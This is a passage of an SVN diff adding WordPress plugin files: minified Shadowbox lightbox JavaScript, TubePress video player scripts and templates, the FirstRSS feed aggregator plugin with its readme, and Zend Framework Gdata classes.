alpha(opacity="+(o*100)+")")}else{s.opacity=o}}},apply=U.apply,each=U.each,init_options,initialized=false,default_options={},content_id="sb-content",active=false,slide_timer,slide_start,slide_delay=0,v_cache=[];if(navigator.plugins&&navigator.plugins.length){var names=[];each(navigator.plugins,function(p){names.push(p.name)});names=names.join();var detectPlugin=function(n){return names.indexOf(n)>-1};var f4m=detectPlugin("Flip4Mac");S.plugins={fla:detectPlugin("Shockwave Flash"),qt:detectPlugin("QuickTime"),wmp:!f4m&&detectPlugin("Windows Media"),f4m:f4m}}else{function detectPlugin(n){try{var axo=new ActiveXObject(n)}catch(e){}return !!axo}S.plugins={fla:detectPlugin("ShockwaveFlash.ShockwaveFlash"),qt:detectPlugin("QuickTime.QuickTime"),wmp:detectPlugin("wmplayer.ocx"),f4m:false}}function getPlayer(url){var re=S.regex,p=S.plugins,m=url.match(re.domain),d=m&&document.domain==m[1];if(url.indexOf("#")>-1&&d){return"inline"}var q=url.indexOf("?");if(q>-1){url=url.substring(0,q)}if(re.img.test(url)){return"img"}if(re.swf.test(url)){return p.fla?"swf":"unsupported-swf"}if(re.flv.test(url)){return p.fla?"flv":"unsupported-flv"}if(re.qt.test(url)){return p.qt?"qt":"unsupported-qt"}if(re.wmp.test(url)){if(p.wmp){return"wmp"}if(p.f4m){return"qt"}if(S.client.isMac){return p.qt?"unsupported-f4m":"unsupported-qtf4m"}return"unsupported-wmp"}if(re.qtwmp.test(url)){if(p.qt){return"qt"}if(p.wmp){return"wmp"}return S.client.isMac?"unsupported-qt":"unsupported-qtwmp"}if(!d||re.iframe.test(url)){return"iframe"}return"unsupported"}function handleClick(e){var link;if(U.isLink(this)){link=this}else{link=S.lib.getTarget(e);while(!U.isLink(link)&&link.parentNode){link=link.parentNode}}if(link){var key=link.shadowboxCacheKey;if(typeof key!="undefined"&&typeof S.cache[key]!="undefined"){link=S.cache[key]}S.open(link);if(S.gallery.length){S.lib.preventDefault(e)}}}function listenKeys(on){if(!S.options.enableKeys){return}S.lib[(on?"add":"remove")+"Event"](document,"keydown",handleKey)}function handleKey(e){var code=S.lib.keyCode(e);S.lib.preventDefault(e);switch(code){case 81:case 88:case 27:S.close();break;case 37:S.previous();break;case 39:S.next();break;case 32:S[(typeof slide_timer=="number"?"pause":"play")]()}}function loadContent(){var obj=S.getCurrent();if(!obj){return}var p=obj.player=="inline"?"html":obj.player;if(typeof S[p]!="function"){throw"Unknown player: "+p}var change=false;if(S.content){S.content.remove();change=true;S.revertOptions();if(obj.options){S.applyOptions(obj.options)}}U.removeChildren(S.skin.bodyEl());S.content=new S[p](obj);listenKeys(false);S.skin.onLoad(S.content,change,function(){if(!S.content){return}if(typeof S.content.ready!="undefined"){var id=setInterval(function(){if(S.content){if(S.content.ready){clearInterval(id);id=null;S.skin.onReady(contentReady)}}else{clearInterval(id);id=null}},100)}else{S.skin.onReady(contentReady)}});if(S.gallery.length>1){var next=S.gallery[S.current+1]||S.gallery[0];if(next.player=="img"){var a=new Image();a.src=next.content}var prev=S.gallery[S.current-1]||S.gallery[S.gallery.length-1];if(prev.player=="img"){var b=new Image();b.src=prev.content}}}function contentReady(){if(!S.content){return}S.content.append(S.skin.bodyEl(),content_id,S.dimensions);S.skin.onFinish(finishContent)}function finishContent(){if(!S.content){return}if(S.content.onLoad){S.content.onLoad()}if(S.options.onFinish){S.options.onFinish()}if(!S.isPaused()){S.play()}listenKeys(true)}return S}();Shadowbox.skin=function(){var e=Shadowbox,d=e.util,o=false,k=["sb-nav-close","sb-nav-next","sb-nav-play","sb-nav-pause","sb-nav-previous"];function l(){d.get("sb-container").style.top=document.documentElement.scrollTop+"px"}function g(p){var q=d.get("sb-overlay"),r=d.get("sb-container"),t=d.get("sb-wrapper");if(p){if(e.client.isIE6){l();e.lib.addEvent(window,"scroll",l)}if(e.options.showOverlay){o=true;q.style.backgroundColor=e.options.overlayColor;d.setOpacity(q,0);if(!e.options.modal){e.lib.addEvent(q,"click",e.close)}t.style.display="none"}r.style.visibility="visible";if(o){var s=parseFloat(e.options.overlayOpacity);d.animate(q,"opacity",s,e.options.fadeDuration,p)}else{p()}}else{if(e.client.isIE6){e.lib.removeEvent(window,"scroll",l)}e.lib.removeEvent(q,"click",e.close);if(o){t.style.display="none";d.animate(q,"opacity",0,e.options.fadeDuration,function(){r.style.display="";t.style.display="";d.clearOpacity(q)})}else{r.style.visibility="hidden"}}}function b(r,p){var q=d.get("sb-nav-"+r);if(q){q.style.display=p?"":"none"}}function i(r,q){var t=d.get("sb-loading"),v=e.getCurrent().player,u=(v=="img"||v=="html");if(r){function s(){d.clearOpacity(t);if(q){q()}}d.setOpacity(t,0);t.style.display="";if(u){d.animate(t,"opacity",1,e.options.fadeDuration,s)}else{s()}}else{function s(){t.style.display="none";d.clearOpacity(t);if(q){q()}}if(u){d.animate(t,"opacity",0,e.options.fadeDuration,s)}else{s()}}}function a(s){var u=e.getCurrent();d.get("sb-title-inner").innerHTML=u.title||"";var x,r,t,y,q;if(e.options.displayNav){x=true;var w=e.gallery.length;if(w>1){if(e.options.continuous){r=q=true}else{r=(w-1)>e.current;q=e.current>0}}if(e.options.slideshowDelay>0&&e.hasNext()){y=!e.isPaused();t=!y}}else{x=r=t=y=q=false}b("close",x);b("next",r);b("play",t);b("pause",y);b("previous",q);var x="";if(e.options.displayCounter&&e.gallery.length>1){var v=e.getCounter();if(typeof v=="string"){x=v}else{d.each(v,function(p){x+='<a onclick="Shadowbox.change('+p+');"';if(p==e.current){x+=' class="sb-counter-current"'}x+=">"+(p+1)+"</a>"})}}d.get("sb-counter").innerHTML=x;s()}function h(r,q){var w=d.get("sb-wrapper"),z=d.get("sb-title"),s=d.get("sb-info"),p=d.get("sb-title-inner"),x=d.get("sb-info-inner"),y=parseInt(e.lib.getStyle(p,"height"))||0,v=parseInt(e.lib.getStyle(x,"height"))||0;function u(){p.style.visibility=x.style.visibility="hidden";a(q)}if(r){d.animate(z,"height",0,0.35);d.animate(s,"height",0,0.35);d.animate(w,"paddingTop",y,0.35);d.animate(w,"paddingBottom",v,0.35,u)}else{z.style.height=s.style.height="0px";w.style.paddingTop=y+"px";w.style.paddingBottom=v+"px";u()}}function j(r){var q=d.get("sb-wrapper"),u=d.get("sb-title"),s=d.get("sb-info"),x=d.get("sb-title-inner"),w=d.get("sb-info-inner"),v=parseInt(e.lib.getStyle(x,"height"))||0,p=parseInt(e.lib.getStyle(w,"height"))||0;x.style.visibility=w.style.visibility="";if(x.innerHTML!=""){d.animate(u,"height",v,0.35);d.animate(q,"paddingTop",0,0.35)}d.animate(s,"height",p,0.35);d.animate(q,"paddingBottom",0,0.35,r)}function c(q,x,w,p){var y=d.get("sb-body"),v=d.get("sb-wrapper"),u=parseInt(q),r=parseInt(x);if(w){d.animate(y,"height",u,e.options.resizeDuration);d.animate(v,"top",r,e.options.resizeDuration,p)}else{y.style.height=u+"px";v.style.top=r+"px";if(p){p()}}}function f(u,x,v,p){var t=d.get("sb-wrapper"),r=parseInt(u),q=parseInt(x);if(v){d.animate(t,"width",r,e.options.resizeDuration);d.animate(t,"left",q,e.options.resizeDuration,p)}else{t.style.width=r+"px";t.style.left=q+"px";if(p){p()}}}function n(p){var r=e.content;if(!r){return}var q=m(r.height,r.width,r.resizable);switch(e.options.animSequence){case"hw":c(q.inner_h,q.top,true,function(){f(q.width,q.left,true,p)});break;case"wh":f(q.width,q.left,true,function(){c(q.inner_h,q.top,true,p)});break;default:f(q.width,q.left,true);c(q.inner_h,q.top,true,p)}}function m(p,s,r){var q=d.get("sb-body-inner");sw=d.get("sb-wrapper"),so=d.get("sb-overlay"),tb=sw.offsetHeight-q.offsetHeight,lr=sw.offsetWidth-q.offsetWidth,max_h=so.offsetHeight,max_w=so.offsetWidth;return e.setDimensions(p,s,max_h,max_w,tb,lr,r)}return{markup:'<div id="sb-container"><div id="sb-overlay"></div><div id="sb-wrapper"><div id="sb-title"><div id="sb-title-inner"></div></div><div id="sb-body"><div id="sb-body-inner"></div><div id="sb-loading"><a onclick="Shadowbox.close()">{cancel}</a></div></div><div id="sb-info"><div id="sb-info-inner"><div id="sb-counter"></div><div id="sb-nav"><a id="sb-nav-close" title="{close}" onclick="Shadowbox.close()"></a><a id="sb-nav-next" title="{next}" onclick="Shadowbox.next()"></a><a id="sb-nav-play" title="{play}" onclick="Shadowbox.play()"></a><a id="sb-nav-pause" title="{pause}" onclick="Shadowbox.pause()"></a><a id="sb-nav-previous" title="{previous}" onclick="Shadowbox.previous()"></a></div><div style="clear:both"></div></div></div></div></div>',options:{animSequence:"sync"},init:function(){if(e.client.isIE6){d.get("sb-body").style.zoom=1;var r,p,q=/url\("(.*\.png)"\)/;d.each(k,function(s){r=d.get(s);if(r){p=e.lib.getStyle(r,"backgroundImage").match(q);if(p){r.style.backgroundImage="none";r.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,src="+p[1]+",sizingMethod=scale);"}}})}},bodyEl:function(){return d.get("sb-body-inner")},onOpen:function(r,q,p){d.get("sb-container").style.display="block";var s=m(r,q);c(s.inner_h,s.top,false);f(s.width,s.left,false);g(p)},onLoad:function(q,r,p){i(true);h(r,function(){if(!q){return}if(!r){d.get("sb-wrapper").style.display=""}p()})},onReady:function(p){n(function(){j(p)})},onFinish:function(p){i(false,p)},onClose:function(){g(false)},onPlay:function(){b("play",false);b("pause",true)},onPause:function(){b("pause",false);b("play",true)},onWindowResize:function(){var r=e.content;if(!r){return}var q=m(r.height,r.width,r.resizable);f(q.width,q.left,false);c(q.inner_h,q.top,false);var p=d.get(e.contentId());if(p){if(r.resizable&&e.options.handleOversize=="resize"){p.height=q.resize_h;p.width=q.resize_w}}}}}();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/shadowbox.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/shadowbox.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shadowbox/shadowbox.js	(revision 44)
@@ -0,0 +1,59 @@
+function tubepress_shadowbox_player_init(baseUrl) {
+	_tubepress_shadowbox_player_shadowboxjs(baseUrl + '/ui/players/shadowbox/');
+}
+
+function _tubepress_shadowbox_player_shadowboxjs(base)  {
+	_tubepress_get_wait_call(base + 'lib/shadowbox.js',
+			function() { return typeof Shadowbox != 'undefined'; },
+			function() { _tubepress_shadowbox_player_shadowboxlang(base); }
+		);
+}
+
+function _tubepress_shadowbox_player_shadowboxlang(base) {
+	_tubepress_get_wait_call(base + 'lib/languages/shadowbox-en.js',
+			function() { return typeof Shadowbox.lang != 'undefined'; },
+			function() { _tubepress_shadowbox_player_shadowboxplayer(base); }
+		);
+}
+
+function _tubepress_shadowbox_player_shadowboxplayer(base) {
+	_tubepress_get_wait_call(base + 'lib/players/shadowbox-html.js',
+			function() { return typeof Shadowbox.html != 'undefined'; },
+			function() { _tubepress_shadowbox_player_shadowboxadapter(base); }
+		);
+}
+
+function _tubepress_shadowbox_player_shadowboxadapter(base) {
+	_tubepress_get_wait_call(base + 'lib/adapters/shadowbox-jquery.js',
+			function() { return typeof Shadowbox.lib != 'undefined'; },
+			function() { _tubepress_init_shadowbox(base); }
+		);
+}
+
+function tubepress_shadowbox_player(galleryId, videoId) {
+	var wrapperId = "#tubepress_embedded_object_" + galleryId,
+		wrapper = jQuery(wrapperId),
+		obj = jQuery(wrapperId + " > object"),
+		params = obj.children("param"),
+		videoTitleAnchor = jQuery("#tubepress_title_" + videoId + "_" + galleryId);
+	Shadowbox.open({
+	    player:       'html',
+	    title:        videoTitleAnchor.html(),
+	    content:      tubepress_deep_construct_object(wrapper, params),
+	    height:       obj.css("height"),
+	    width:        obj.css("width")
+	});
+}
+
+function _tubepress_init_shadowbox(base) {
+	Shadowbox.path = base + 'lib/';
+	Shadowbox.init({
+		initialHeight : 160,
+		initialWidth: 320,
+		skipSetup: true, 
+		players: ["html"],
+		useSizzle: false
+	});
+	Shadowbox.load();
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shared/html_templates/pre_gallery_modal.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shared/html_templates/pre_gallery_modal.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/shared/html_templates/pre_gallery_modal.tpl.html	(revision 44)
@@ -0,0 +1,1 @@
+<div id="tubepress_embedded_object_{GALLERYID}" style="display:none">{EMBEDSRC}</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/youtube/youtube.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/youtube/youtube.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/youtube/youtube.js	(revision 44)
@@ -0,0 +1,7 @@
+function tubepress_youtube_player(galleryId, videoId) {
+   window.location = "http://www.youtube.com/watch?v=" + videoId;
+}
+
+function tubepress_youtube_player_init(baseUrl) { 
+    //nada
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/controls.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/controls.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/controls.tpl.html	(revision 44)
@@ -0,0 +1,3 @@
+<p><label for="tubepress-widget-title">{WIDGET-TITLE} <input class="widefat" id="tubepress-widget-title" name="tubepress-widget-title" type="text" value="{WIDGET-TITLE-VALUE}" /></label></p>
+<p><label for="tubepress-widget-tagstring">{WIDGET-TAGSTRING} <textarea class="widefat" rows="9" cols="12" id="tubepress-widget-tagstring" name="tubepress-widget-tagstring">{WIDGET-TAGSTRING-VALUE}</textarea></label></p>
+<input type="hidden" id="tubepress-widget-submit" name="tubepress-widget-submit" value="1" />
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/gallery.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/gallery.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/gallery.tpl.html	(revision 44)
@@ -0,0 +1,2 @@
+{PRE_GALLERY_PLAYER_HTML}
+{THUMBS}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/thumbnail.tpl.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/thumbnail.tpl.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/html_templates/thumbnail.tpl.html	(revision 44)
@@ -0,0 +1,49 @@
+<!-- BEGIN thumb -->
+<div class="tubepress_thumb_widget">
+	<div class="tubepress_thumb_inner">
+		<a id="{VIDEO_IMG_ANCHOR_ID}" rel="{VIDEO_IMG_ANCHOR_REL}"> <img alt="{VIDEO_IMG_ALT}" src="{THUMBURL}" width="{THUMBWIDTH}" height="{THUMBHEIGHT}" /></a>
+
+		<div class="tubepress_meta_group">
+			
+			<!-- BEGIN title -->
+			<div class="tubepress_meta_title"><a id="{VIDEO_TITLE_ANCHOR_ID}" rel="{VIDEO_TITLE_ANCHOR_REL}">{TITLE}</a><br /></div>
+			<!-- END title -->
+			
+			<!-- BEGIN runtime -->
+			<span class="tubepress_meta_runtime">{RUNTIME}</span>
+			<!-- END runtime -->
+			
+			<!--  BEGIN author -->
+			<span class="tubepress_meta"> {METANAME}: </span><a {NOFOLLOW} href="http://www.youtube.com/profile?user={AUTHOR}">{AUTHOR}</a>
+			<!--  END author -->
+			
+			<!-- BEGIN comments -->
+			<span class="tubepress_meta">
+                      {METANAME}: 
+                  </span><a {NOFOLLOW} href="http://youtube.com/comment_servlet?all_comments&amp;v={ID}">{COUNT}</a>
+			<!-- END comments -->
+			
+			<!-- BEGIN tags -->
+			<span class="tubepress_meta">
+                      {METANAME}: 
+                  </span><a {NOFOLLOW} href="http://youtube.com/results?search_query={SEARCHSTRING}&amp;search=Search">{TAGS}</a>
+			<!-- END tags -->
+			
+			<!--  BEGIN url -->
+			<a href="{LINKVALUE}">{LINKTEXT}</a>
+			<!--  END url -->
+			
+			<!-- BEGIN meta -->
+			<span class="tubepress_meta">
+                      {METANAME}: 
+                  </span>{METAVALUE}
+			<!-- END meta -->	
+			
+			<!--  BEGIN description -->
+			<br />{DESCRIPTION}
+			<!--  END description -->
+
+		</div>
+	</div>
+</div>
+<!-- END thumb -->
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/firstRSS.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/firstRSS.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/firstRSS.php	(revision 44)
@@ -0,0 +1,118 @@
+<?php
+/*
+Plugin Name: FirstRSS
+Plugin URI: http://www.underjc.com/2007/10/firstrss-plugin-for-wordpress.html
+Description: FirstRSS is a simple RSS aggregator for posts. Insert &quot;[rsspara:URL]&quot; or &quot;[rsslist:URL]&quot; into the post for paragraph or list format respectively. Replace &quot;URL&quot; with the URL of the RSS feed starting with &quot;http://&quot;.
+Author: Chris Hatcher
+Author URI: http://www.UnderJC.com
+Version: 7.10.18
+*/
+
+function ujc_firstrss($content) {
+
+	// --- Initialize ---
+	require_once (ABSPATH . WPINC . '/rss-functions.php');
+
+	// --- Arrays ---
+	$find[] = "";
+	$replace[] = "";
+
+	// --- Search ---
+	// Find all "[rsslist:*]" and "[rsspara:*]"
+	preg_match_all('/\[rss(list|para):(\S+)\]/', $content, $matches, PREG_SET_ORDER);
+
+	// --- Display Credits? ---
+	$used = false;
+
+	// For each one you find...
+	foreach ($matches as $val) {
+		$url = html_entity_decode($val[2]);
+
+		// --- Syntax Display ---
+		if (strtoupper($url) == "URL") {
+			$disp = $val[0];
+
+		// --- Get RSS ---
+		} elseif ($rss = fetch_rss($url)) {
+
+				// --- Display Credits? ---
+				$used = true;
+				$disp = "\n<!-- FirstRSS -->\n";
+
+				// --- Paragraph format ---
+				if ($val[1] == 'para') {
+
+					// Image
+					if ($rss->image[url] != '') {
+						$title = $rss->image[title];
+						$link = htmlentities($rss->image[link]);
+						$url = $rss->image[url];
+						$disp .= "\t<a href='$link'><img src='$url' alt='$title' /></a><br />\n";
+					}
+					
+					// Title, copyright, and description
+
+					$title = $rss->channel[title];
+					$copy = $rss->channel[copyright];
+					$link = htmlentities($rss->channel[link]);
+					$desc = $rss->channel[description];
+
+					$disp .= "\t<big><a href='$link'>$title</a></big><br />\n";
+					if ($copy != '') $disp .= "\t<small>$copy</small><br />\n";
+					if ($desc != '') $disp .= "\t$desc<br />\n";
+					$disp .= "\n\t<br />\n";
+
+					// For each item...
+					foreach($rss->items as $item) {
+						$title = $item[title];
+						$link = htmlentities($item[link]);
+						$desc = $item[description];
+
+						if ($title != '') $disp .= "\t<b><a href='$link'>$title</a></b>\n<br />";
+						if ($desc  != '') $disp .= "\t$desc\n<br />";
+					}
+
+				// --- List format ---
+				} elseif ($val[1] == 'list') {
+
+					// Feed title, description, link, & copyright
+					$title = $rss->channel[title];
+					$link = htmlentities($rss->channel[link]);
+					$copy = $rss->channel[copyright];
+
+					$disp .= "\t<big><a href='$link'>$title</a></big><br />\n";
+					if ($copy != '') $disp .= "\t<small>$copy</small><br />\n";
+					$disp .= "\n\t<br />\n";
+
+					// Item title, description, & link
+					foreach($rss->items as $item) {
+						$title = $item[title];
+						$link = htmlentities($item[link]);
+
+						if ($title != '') $disp .= "\t<a href='$link'>$title</a><br />\n";
+					}
+				}
+
+		// --- Not Found ---
+		} else {
+			$disp = "\nFirstRSS ERROR: &quot;$url&quot; NOT FOUND!<br />\n";
+		}
+
+		// --- Replace ---
+		$find = $val[0];
+		$replace = $disp;
+	}
+
+	// --- Display Credits? ---
+	// Yes, you can remove this line.  If I were you, I would.  Any questions?
+	if ($used) $appendage .= "\n<p align='center'><small>Powered by <a href='http://www.underjc.com/2007/10/firstrss-plugin-for-wordpress.html' " 
+		. "title='UnderJC.com'>FirstRSS Plugin</a></small></p>\n";
+
+	// --- Return ---
+	return str_replace($find, $replace, $content) . $appendage;
+}
+
+// --- Filter ---
+add_filter('the_content', 'ujc_firstrss');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ujc_firstrss/readme.txt	(revision 44)
@@ -0,0 +1,80 @@
+/*******************************************************************************
+*                                                                              *
+*                                            ,-._.-._.-._.-._.-.               *
+*                                            `-.             ,-'               *
+*               .----------------------.       |             |                 *
+*              |                        |      |             |                 *
+*              |    FirstRSS            |      |             |                 *
+*              |    RSS Aggregator      |      |             |                 *
+*              |    Wordpress Plugin    |     ,';".________.-.                 *
+*              |                        |     ;';_'         )]                 *
+*              |    Revelation 22:13    |    ;             `-|                 *
+*              |                        `.    `T-            |                 *
+*               `----------------------._ \    |             |                 *
+*                                        `-;   |             |                 *
+*                                              |..________..-|                 *
+*                                             /\/ |________..|                 *
+*                                        ,'`./  >,(           |                *
+*                                        \_.-|_/,-/   ii  |   |                *
+*                                         `."' `-/  .-"""||    |               *
+*                                          /`^"-;   |    ||____|               *
+*                                         /     /   `.__/  | ||                *
+*                                              /           | ||                *
+*                                                          | ||                *
+*                                                                              *
+*******************************************************************************/
+
+LICENCE
+	Copyright 2006  Chris Hatcher  (email : Chris@UnderJC.com)
+
+	This program is free software; you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation; either version 2 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program; if not, write to the Free Software
+	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+COST
+	Nothing is required, but feel free to link to me (http://UnderJC.com).
+
+REQUIREMENTS
+	WordPress 2 or greater
+	PHP 4 or greater
+
+INSTALLATION
+	Drop the "ujc_firstrss" directory into the "plugins" directory in 
+	WordPress.  This directory should contain the files "firstRSS.php"
+	and "readme.txt".
+
+	In the "Plugins" section of "Site Admin", click "Activate" adjacent to 
+	"FirstRSS".
+
+USAGE
+	See "Plugins" section.
+
+NOTES
+	"Powered by FirstRSS Plugin" will be added to the bottom of pages and
+	blogs containing feeds.  You can removed this in the source.
+
+TROUBLESHOOTING
+	If a feed doesn't work, try another feed.  FirstRSS does not support
+	all RSS feeds.
+
+	If you must email me, make sure to include the following: the WordPress
+	version, the PHP version, the FirstRSS version, the URL of the page, the
+	command you are using, a description of the output, the results of trying
+	another feed, your credit card 	number (kidding), and any other relevant
+	information.
+
+CONTACT ME
+	Chris Hatcher           Chris@UnderJC.com
+
+CREDITS
+	Christopher Johnson     ASCII Dilbert   http://chris.com
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Exception.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Exception.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Exception.php	(revision 44)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+
+/**
+ * @category   Zend
+ * @package    Zend
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Exception extends Exception
+{}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata.php	(revision 44)
@@ -0,0 +1,240 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App
+ */
+require_once 'Zend/Gdata/App.php';
+
+/**
+ * Provides functionality to interact with Google data APIs
+ * Subclasses exist to implement service-specific features
+ *
+ * As the Google data API protocol is based upon the Atom Publishing Protocol
+ * (APP), Gdata functionality extends the appropriate Zend_Gdata_App classes
+ *
+ * @link http://code.google.com/apis/gdata/overview.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata extends Zend_Gdata_App
+{
+
+    /**
+     * Service name for use with Google's authentication mechanisms
+     *
+     * @var string
+     */
+    const AUTH_SERVICE_NAME = 'xapi';
+
+    /**
+     * Default URI to which to POST.
+     *
+     * @var string
+     */
+    protected $_defaultPostUri = null;
+
+    /**
+     * Packages to search for classes when using magic __call method, in order.
+     *
+     * @var array
+     */
+    protected $_registeredPackages = array(
+            'Zend_Gdata_Kind',
+            'Zend_Gdata_Extension',
+            'Zend_Gdata',
+            'Zend_Gdata_App_Extension',
+            'Zend_Gdata_App');
+
+    /**
+     * Namespaces used for Gdata data
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('gd', 'http://schemas.google.com/g/2005', 1, 0),
+        array('openSearch', 'http://a9.com/-/spec/opensearchrss/1.0/', 1, 0),
+        array('openSearch', 'http://a9.com/-/spec/opensearch/1.1/', 2, 0),
+        array('rss', 'http://blogs.law.harvard.edu/tech/rss', 1, 0)
+    );
+
+    /**
+     * Client object used to communicate
+     *
+     * @var Zend_Gdata_HttpClient
+     */
+    protected $_httpClient;
+
+    /**
+     * Client object used to communicate in static context
+     *
+     * @var Zend_Gdata_HttpClient
+     */
+    protected static $_staticHttpClient = null;
+
+    /**
+     * Create Gdata object
+     *
+     * @param Zend_Http_Client $client
+     * @param string $applicationId The identity of the app in the form of
+     *          Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        parent::__construct($client, $applicationId);
+    }
+
+    /**
+     * Imports a feed located at $uri.
+     *
+     * @param  string $uri
+     * @param  Zend_Http_Client $client The client used for communication
+     * @param  string $className The class which is used as the return type
+     * @throws Zend_Gdata_App_Exception
+     * @return string|Zend_Gdata_App_Feed Returns string only if the object
+     *                                    mapping has been disabled explicitly
+     *                                    by passing false to the
+     *                                    useObjectMapping() function.
+     */
+    public static function import($uri, $client = null,
+        $className='Zend_Gdata_Feed')
+    {
+        $app = new Zend_Gdata($client);
+        $requestData = $app->decodeRequest('GET', $uri);
+        $response = $app->performHttpRequest($requestData['method'], $requestData['url']);
+
+        $feedContent = $response->getBody();
+
+        $feed = self::importString($feedContent, $className);
+        if ($client != null) {
+            $feed->setHttpClient($client);
+        }
+        return $feed;
+    }
+
+    /**
+     * Retrieve feed as string or object
+     *
+     * @param mixed $location The location as string or Zend_Gdata_Query
+     * @param string $className The class type to use for returning the feed
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return string|Zend_Gdata_App_Feed Returns string only if the object
+     *                                    mapping has been disabled explicitly
+     *                                    by passing false to the
+     *                                    useObjectMapping() function.
+     */
+    public function getFeed($location, $className='Zend_Gdata_Feed')
+    {
+        if (is_string($location)) {
+            $uri = $location;
+        } elseif ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'You must specify the location as either a string URI ' .
+                    'or a child of Zend_Gdata_Query');
+        }
+        return parent::getFeed($uri, $className);
+    }
+
+    /**
+     * Retrieve entry as string or object
+     *
+     * @param mixed $location The location as string or Zend_Gdata_Query
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @return string|Zend_Gdata_App_Entry Returns string only if the object
+     *                                     mapping has been disabled explicitly
+     *                                     by passing false to the
+     *                                     useObjectMapping() function.
+     */
+    public function getEntry($location, $className='Zend_Gdata_Entry')
+    {
+        if (is_string($location)) {
+            $uri = $location;
+        } elseif ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
